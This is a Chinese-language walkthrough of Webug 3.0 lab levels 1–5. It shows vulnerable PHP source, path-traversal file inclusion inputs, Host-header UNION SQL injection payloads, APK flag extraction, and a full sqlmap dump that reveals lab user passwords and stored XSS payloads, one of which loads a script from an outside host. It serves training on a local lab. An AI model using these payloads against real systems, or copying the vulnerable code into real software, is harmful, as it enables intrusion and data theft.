Webug3.0通关笔记17 中级进阶（第01-05关）

第一关出来点东西吧

1.打开靶场

2.源码分析

3.源码修正

4.文件包含漏洞渗透

第二关提交方式是怎样的啊？

1.打开靶场

2.源码分析

3.渗透实战

（1）bp改包法

（2）POST法渗透

第三关我还是一个注入

1.打开靶场

2.源码分析

3.SQL注入渗透

（1）bp抓包

（2）获取列数

（3）获取回显

（4）获取数据库名

（5）获取当前数据库所以表名

（6）获取flag表列名

（7）获取flag字段

第四关 APK里面有一个FLAG

1.打开靶场

2.Android Killer渗透

第五关时间注入

1.打开靶场

2.源码分析

3.sqlmap注入渗透

（1）注入命令

（2）完整交互

4.总结

本系列专栏完成webug3中级渗透靶场关卡的通关，这几个关卡也有些小bug，需要修复后才可以完成通关。本小节通过webug靶场渗透中级进阶部分，完成01-05个关卡，包括文件包含漏洞、SQL注入漏洞等。

第一关出来点东西吧

1.打开靶场

打开后如下所示，只不过在country发生变化时并没有发生什么变换，看起来代码应该是有什么bug。

http://192.168.71.1/webug3/pentest/test/13/?country=england.php

2.源码分析

如下所示包含require_once函数的处理，并且没有对输入参数进行任何过滤，很明显包含文件包含漏洞。

<?php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST["flag"]))
{$flag=$_POST["flag"];$flag = mysql_real_escape_string($flag);//防止SQL注入if(md5("18c59df6506274822e273ff552406ba7")==md5($flag)){echo "<font color='green'>success,请记录您的flag</font>";}else{echo "<font color='red'>世界等待您的发现！！</font>";}
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>想看看外面的世界</title>
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
</head>
<body>
<hr/>
<form id="test" action="?" method="get" >
<label for="username">请选择世界</label>
<select name="country"> 
<option value="usa.php">美国</option>
<option value="england.php">英国</option>
<option value="thailand.php">泰国</option>
<option value="australia.php">澳洲</option>
</select>
<input type="submit" value="Go">
</form>
<hr/>
<form action="" method="post">
<label for="username">请输入flag.</label>
<input type="text" id="flag" name="flag" size="60px">
<input type="submit" value="Pass">
</form>
<hr/>
<?php
if( $_GET ) 
{ 
$file=$_GET['country']; 
require_once "$file";
}
?>
</body>
</html>

3.源码修正

之所以当前源码不对，就是因为文件包含的路径不对，当前源码路径如下所示。

而几个country所对应的php文件却在cc目录下，如下所示。

关于文件包含相关的源码，很明显直接包含country的php文件不正确，应该加上cc这个子目录再去包含才ok。

if( $_GET ) 
{ 
$file=$_GET['country']; 
require_once "$file";
}

这部分的源码需要修改如下。

if( $_GET ) 
{ 
$file=$_GET['country']; 
require_once "\\cc\\"."$file";
}

完整的源码修改为如下内容。

<?php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST["flag"]))
{$flag=$_POST["flag"];$flag = mysql_real_escape_string($flag);//防止SQL注入if(md5("18c59df6506274822e273ff552406ba7")==md5($flag)){echo "<font color='green'>success,请记录您的flag</font>";}else{echo "<font color='red'>世界等待您的发现！！</font>";}
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>想看看外面的世界</title>
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
</head>
<body>
<hr/>
<form id="test" action="?" method="get" >
<label for="username">请选择世界</label>
<select name="country"> 
<option value="usa.php">美国</option>
<option value="england.php">英国</option>
<option value="thailand.php">泰国</option>
<option value="australia.php">澳洲</option>
</select>
<input type="submit" value="Go">
</form>
<hr/>
<form action="" method="post">
<label for="username">请输入flag.</label>
<input type="text" id="flag" name="flag" size="60px">
<input type="submit" value="Pass">
</form>
<hr/>
<?php
if( $_GET ) 
{ 
$file=$_GET['country']; 
require_once "\\cc\\"."$file";
}
?>
</body>
</html>

修正源码后，再次进入到主页，选择英国。

选择美国，如下所示。

4.文件包含漏洞渗透

访问根目录下的README.md文件，路径如下所示。

?country=../../../../README.md

如下所示渗透成功。http://192.168.71.1/webug3/pentest/test/13/?country=../../../../README.mdhttp://192.168.71.1/webug3/pentest/test/13/?country=../../../../README.md

第二关提交方式是怎样的啊？

1.打开靶场

点进后如下所示。

http://192.168.71.1/webug3/pentest/test/14/

随机点餐选择一个菜品后，点击go，注意此时开启bp抓包，如下所示弹出照片。

bp抓包结果如下所示，很明显这个是通过post传递的参数。

2.源码分析

如下所示，源码中出现require_once函数，并且未对参数进行过滤，很明显具有文件包含漏洞。

<?php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST["flag"]))
{$flag=$_POST["flag"];$flag = mysql_real_escape_string($flag);//防止SQL注入if(md5("75ca0cecfa8df5a93f0E69ba1098d5316")==md5($flag)){echo "<font color='green'>success,请记录您的flag</font>";}else{echo "<font color='red'>世界等待您的发现！！</font>";}
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>外卖专场</title>
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
</head>
<body>
<hr/>
<form id="test" action="?" method="post" >
<label for="username">请点餐</label>
<select name="dish">
<option value="shanghai.php">沪菜</option>
<option value="hangzhou.php">杭帮菜</option>
<option value="sichuan.php">川湘菜</option>
<option value="west.php">西餐</option>
</select>
<input type="submit" value="Go">
</form>
<hr/>
<form action="" method="post">
<label for="username">请输入flag.</label>
<input type="text" id="flag" name="flag" size="60px">
<input type="submit" value="Pass">
</form>
<hr/>
<?php
if( $_POST  ) 
{ 
$file=$_POST ['dish']; 
require_once "$file";
}
?>
</body>
</html>

相关的文件包含处理源码如下，参数为dish，使用POST进行传参。

if( $_POST  ) 
{ 
$file=$_POST ['dish']; 
require_once "$file";
}

3.渗透实战

（1）bp改包法

post的参数设置为如下所示。

dish=../../../README.md

（2）POST法渗透

post的参数设置如下所示。

dish=../../../README.md

使用firefox的hackbar进行渗透，如下所示。

第三关我还是一个注入

1.打开靶场

http://192.168.71.1/webug3/pentest/test/15/

2.源码分析

如下所示注入点为HOST，并且对union，select和or关键字进行提示，接下来就对传入的参数进行SQL语句，故而存在SQL注入漏洞。

<?php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
header("X-Powered-By: MrYe");
echo "<title>管理员遗失的凭据</title>";
require_once 'conn.php';
$query = "select * from goods ";//构建查询语句
#x-forword-for:yjsif (isset($_SERVER['HTTP_HOST'])) { 
if(strstr($_SERVER['HTTP_HOST'],"union")||strstr($_SERVER['HTTP_HOST'],"select")||strstr($_SERVER['HTTP_HOST'],"or")){echo "您改变了浏览器发送的数据，并输入了<font color='red'>".$_SERVER['HTTP_HOST']."</font><br/>如果正确显示了得到的结果，请截图证明!!!"; 
$query=$query.$_SERVER['HTTP_HOST'];
}else{echo "<font color='red'>请帮管理员找到凭据。</font>";
}
} $result = mysql_query($query);//执行查询if (!$result) {die("could not to the database\n" . mysql_error());
}if (mysql_numrows($result)<=0) {//恢复1条数据$insertSql = "insert into user(gname, gprice,gnum) values('苹果', 1000,20) ";$result = mysql_query($insertSql);echo "<script type='text/javascript'>alert('数据被挖空，请稍候，数据恢复中~~~~！');location.href='index.php'</script>";
}else{echo "<hr/></br>";echo "今日水果特价,欢迎选购!"."</br><marquee style='WIDTH: 200px; HEIGHT: 30px' scrollamount='2' direction='left' >清仓大处理，最后一天大甩卖了！！</marquee >";echo "<hr/></br>";
while($result_row=mysql_fetch_row(($result)))//取出结果并显示
{
$gname=$result_row[1];
$gprice=$result_row[2];
$gnum=$result_row[3];echo "名称:".$gname."</br>";
echo "价格:".$gprice."</br>";
echo "数量:".$gnum."</br>";
echo "<hr/>";}
}

关于Header首部的SQL调用语句处理如下所示，分析就是当出现union，select和or这三个关键字任意内容时，就会执行基于http_host参数进行注入的内容。

$query = "select * from goods ";
if(strstr($_SERVER['HTTP_HOST'],"union")||strstr($_SERVER['HTTP_HOST'],"select")||strstr($_SERVER['HTTP_HOST'],"or")){echo "您改变了浏览器发送的数据，并输入了<font color='red'>".$_SERVER['HTTP_HOST']."</font><br/>如果正确显示了得到的结果，请截图证明!!!"; 
$query=$query.$_SERVER['HTTP_HOST'];
}

很明显SQL注入语句。

"select * from goods ".$_SERVER['HTTP_HOST']

也就是说这使得host参数需要是放到select * from goods语句后面。

union
order by
or

3.SQL注入渗透

根据提示，注入点在host处。如果使用自动化工具sqlmap的话，需要使用 --level 3 参数时 sqlmap 会测试一些 HTTP 请求头的参数，但不会测试 Host 参数，所以需要使用 -p Host 参数来指定测试。此外由于 Host 参数与伪静态页面类似，所以还需要用 * 星号标记一下注入点。

这里要提一下无法使用sqlmap进行渗透，这是因为正常情况下，注入点为Host，但是却是与select * from goods拼接成功，而默认情况下Host参数中需要默认为服务器的ip地址，故而sqlmap无法直接使用。

（1）bp抓包

bp抓包，右键选择发送到repeater，如下所示。

（2）获取列数

order by 4 #成功
order by 5 #失败

如下所示，共有4列。

（3）获取回显

如下所示所有内容均可以回显。

union select 1,2,3,4

（4）获取数据库名

如下所示，在第4个回显位把数据库显示出来为pentesterlab。

Host: union select 1,2,3,database()

（5）获取当前数据库所以表名

Host: union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='pentesterlab'

如下所示获取到comment,flag,goods,user几个表格。

（6）获取flag表列名

Host: union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'

如上所示列名为名称:id,flag,id,flag。

（7）获取flag字段

Host: union select 1,flag,3,4 from flag

如上所示，获取到flag为名称:204f704fbbcf6acf398ffee11989b377。

第四关 APK里面有一个FLAG

1.打开靶场

打开关卡后提示文件下载，将文件下载下来。

2.Android Killer渗透

打开后双击MainActivity，并在右面找到如下内容。

将这些内容复制粘贴下来。

    const-string v0, "YWZlOGU5MWI="const-string v1, "NGM1NGFkOGVi"const-string v2, "MzA0M2UzNjY="const-string v3, "ZGJjYTA1Zg=="

对齐进行base64解码，如下所示。

    const-string v0, "afe8e91b"const-string v1, 4c54ad8eb"const-string v2, "3043e366"const-string v3, "dbca05f"

将其拼凑后flag即为afe8e91b4c54ad8eb3043e366dbca05f

flag{afe8e91b4c54ad8eb3043e366dbca05f}

第五关时间注入

1.打开靶场

URL链接如下所示。

http://192.168.71.1/webug3/pentest/test/time/

2.源码分析

通过源码可知通过对$_REQUEST['type']参数进行SQL查询，并且查询前并未对参数进行过滤，故而很明显存在SQL注入漏洞。

<?php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
header("X-Powered-By: MrYe");
echo "<title>把服务器搞摊</title>";
require_once 'conn.php';
$query = "select  ";//构建查询语句
#x-forword-for:yjs$id=$_REQUEST['type'];if (isset($_REQUEST['type'])) { $query=$query.$id." from goods ";
}else{echo "<font color='red'>请帮管理员找到凭据。使用?type=</font>";
}
$result = mysql_query($query);//执行查询if (!$result) {echo "管理员正在盯着你帮他找凭据";
}if (mysql_numrows($result)<=0) {}else{echo "任性的网页!"."</br>";
if($result_row=mysql_fetch_row(($result)))//取出结果并显示
{
$gname=$result_row[0];
$gprice=$result_row[1];echo "名称:".$gname."</br>";
echo "价格:".$gprice."</br>";
echo "<hr/>";}
}

3.sqlmap注入渗透

（1）注入命令

sqlmap -u python sqlmap.py -u http://192.168.71.1/webug3/pentest/test/time/index.php?type=1 --current-db --dump --batch

如下所示存在注入漏洞。

（2）完整交互

GET parameter 'type' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 323 HTTP(s) requests:
---
Parameter: type (GET)Type: boolean-based blindTitle: Boolean-based blind - Parameter replace (original value)Payload: type=(SELECT (CASE WHEN (3728=3728) THEN 1 ELSE (SELECT 1367 UNION SELECT 8337) END))Type: inline queryTitle: Generic inline queriesPayload: type=(SELECT CONCAT(CONCAT('qxkzq',(CASE WHEN (1213=1213) THEN '1' ELSE '0' END)),'qxxxq'))Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: type=1 AND (SELECT 4813 FROM (SELECT(SLEEP(5)))jPke)
---
[06:17:38] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[06:17:38] [INFO] fetching current database
[06:17:38] [INFO] retrieved: 'pentesterlab'
current database: 'pentesterlab'
[06:17:38] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[06:17:38] [INFO] fetching current database
[06:17:38] [INFO] fetching tables for database: 'pentesterlab'
[06:17:38] [INFO] retrieved: 'comment'
[06:17:38] [INFO] retrieved: 'flag'
[06:17:38] [INFO] retrieved: 'goods'
[06:17:38] [INFO] retrieved: 'user'
[06:17:38] [INFO] fetching columns for table 'flag' in database 'pentesterlab'
[06:17:38] [INFO] retrieved: 'id'
[06:17:38] [INFO] retrieved: 'int(20)'
[06:17:38] [INFO] retrieved: 'flag'
[06:17:38] [INFO] retrieved: 'varchar(70)'
[06:17:38] [INFO] fetching entries for table 'flag' in database 'pentesterlab'
[06:17:38] [INFO] retrieved: '204f704fbbcf6acf398ffee11989b377'
[06:17:38] [INFO] retrieved: '1'
[06:17:38] [INFO] recognized possible password hashes in column 'flag'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[06:17:38] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[06:17:38] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[06:17:38] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[06:17:38] [INFO] starting 4 processes 
[06:17:50] [WARNING] no clear password(s) found                                                                                                                                                              
Database: pentesterlab
Table: flag
[1 entry]
+----+----------------------------------+
| id | flag                             |
+----+----------------------------------+
| 1  | 204f704fbbcf6acf398ffee11989b377 |
+----+----------------------------------+[06:17:50] [INFO] table 'pentesterlab.flag' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.1/dump/pentesterlab/flag.csv'
[06:17:50] [INFO] fetching columns for table 'comment' in database 'pentesterlab'
[06:17:50] [INFO] retrieved: 'id'
[06:17:50] [INFO] retrieved: 'int(10)'
[06:17:50] [INFO] retrieved: 'content'
[06:17:50] [INFO] retrieved: 'varchar(50)'
[06:17:50] [INFO] retrieved: 'time'
[06:17:50] [INFO] retrieved: 'datetime'
[06:17:50] [INFO] fetching entries for table 'comment' in database 'pentesterlab'
[06:17:50] [INFO] retrieved: '2016-10-18 07:14:13'
[06:17:50] [INFO] retrieved: '1'
[06:17:50] [INFO] retrieved: '1'
[06:17:50] [INFO] retrieved: '2016-10-18 07:14:21'
[06:17:50] [INFO] retrieved: '1'
[06:17:50] [INFO] retrieved: '2'
[06:17:50] [INFO] retrieved: '2016-10-18 07:22:10'
[06:17:50] [INFO] retrieved: '1'
[06:17:51] [INFO] retrieved: '3'
[06:17:51] [INFO] retrieved: '2016-10-18 07:22:39'
[06:17:51] [INFO] retrieved: '1'
[06:17:51] [INFO] retrieved: '4'
[06:17:51] [INFO] retrieved: '2017-01-19 01:33:57'
[06:17:51] [INFO] retrieved: '<script>alert(/topsec/)</script>'
[06:17:51] [INFO] retrieved: '5'
[06:17:51] [INFO] retrieved: '2017-01-19 01:37:06'
[06:17:51] [INFO] retrieved: '<script src=http://t.cn/RM11mCJ></script>'
[06:17:51] [INFO] retrieved: '6'
[06:17:51] [INFO] retrieved: '2022-12-02 05:38:13'
[06:17:51] [INFO] retrieved: '<script>alert(document.cookie)</script> '
[06:17:51] [INFO] retrieved: '7'
Database: pentesterlab
Table: comment
[7 entries]
+----+---------------------+-------------------------------------------+
| id | time                | content                                   |
+----+---------------------+-------------------------------------------+
| 1  | 2016-10-18 07:14:13 | 1                                         |
| 2  | 2016-10-18 07:14:21 | 1                                         |
| 3  | 2016-10-18 07:22:10 | 1                                         |
| 4  | 2016-10-18 07:22:39 | 1                                         |
| 5  | 2017-01-19 01:33:57 | <script>alert(/topsec/)</script>          |
| 6  | 2017-01-19 01:37:06 | <script src=http://t.cn/RM11mCJ></script> |
| 7  | 2022-12-02 05:38:13 | <script>alert(document.cookie)</script>   |
+----+---------------------+-------------------------------------------+[06:17:51] [INFO] table 'pentesterlab.comment' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.1/dump/pentesterlab/comment.csv'
[06:17:51] [INFO] fetching columns for table 'goods' in database 'pentesterlab'
[06:17:51] [INFO] retrieved: 'id'
[06:17:51] [INFO] retrieved: 'int(10)'
[06:17:51] [INFO] retrieved: 'gname'
[06:17:51] [INFO] retrieved: 'varchar(20)'
[06:17:51] [INFO] retrieved: 'gprice'
[06:17:51] [INFO] retrieved: 'float'
[06:17:51] [INFO] retrieved: 'gnum'
[06:17:51] [INFO] retrieved: 'int(10)'
[06:17:51] [INFO] fetching entries for table 'goods' in database 'pentesterlab'
[06:17:51] [INFO] retrieved: '苹果'
[06:17:51] [INFO] retrieved: '20'
[06:17:51] [INFO] retrieved: '1000'
[06:17:51] [INFO] retrieved: '1'
[06:17:51] [INFO] retrieved: '梨'
[06:17:51] [INFO] retrieved: '70'
[06:17:51] [INFO] retrieved: '500.09'
[06:17:51] [INFO] retrieved: '2'
Database: pentesterlab
Table: goods
[2 entries]
+----+------+-------+--------+
| id | gnum | gname | gprice |
+----+------+-------+--------+
| 1  | 20   | 苹果  | 1000   |
| 2  | 70   | 梨    | 500.09 |
+----+------+-------+--------+[06:17:51] [INFO] table 'pentesterlab.goods' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.1/dump/pentesterlab/goods.csv'
[06:17:51] [INFO] fetching columns for table 'user' in database 'pentesterlab'
[06:17:51] [INFO] retrieved: 'uid'
[06:17:51] [INFO] retrieved: 'int(11)'
[06:17:51] [INFO] retrieved: 'uname'
[06:17:51] [INFO] retrieved: 'varchar(20)'
[06:17:51] [INFO] retrieved: 'pwd'
[06:17:51] [INFO] retrieved: 'varchar(20)'
[06:17:51] [INFO] retrieved: 'bill'
[06:17:51] [INFO] retrieved: 'float'
[06:17:52] [INFO] fetching entries for table 'user' in database 'pentesterlab'
[06:17:52] [INFO] retrieved: '50.9899'
[06:17:52] [INFO] retrieved: '123456'
[06:17:52] [INFO] retrieved: '1'
[06:17:52] [INFO] retrieved: 'tom'
[06:17:52] [INFO] retrieved: '0'
[06:17:52] [INFO] retrieved: '123456'
[06:17:52] [INFO] retrieved: '2'
[06:17:52] [INFO] retrieved: 'admin'
Database: pentesterlab
Table: user
[2 entries]
+-----+--------+---------+-------+
| uid | pwd    | bill    | uname |
+-----+--------+---------+-------+
| 1   | 123456 | 50.9899 | tom   |
| 2   | 123456 | 0       | admin |
+-----+--------+---------+-------+[06:17:52] [INFO] table 'pentesterlab.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.1/dump/pentesterlab/user.csv'
[06:17:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.1'
[06:17:52] [WARNING] your sqlmap version is outdated[*] ending @ 06:17:52 /2022-12-02/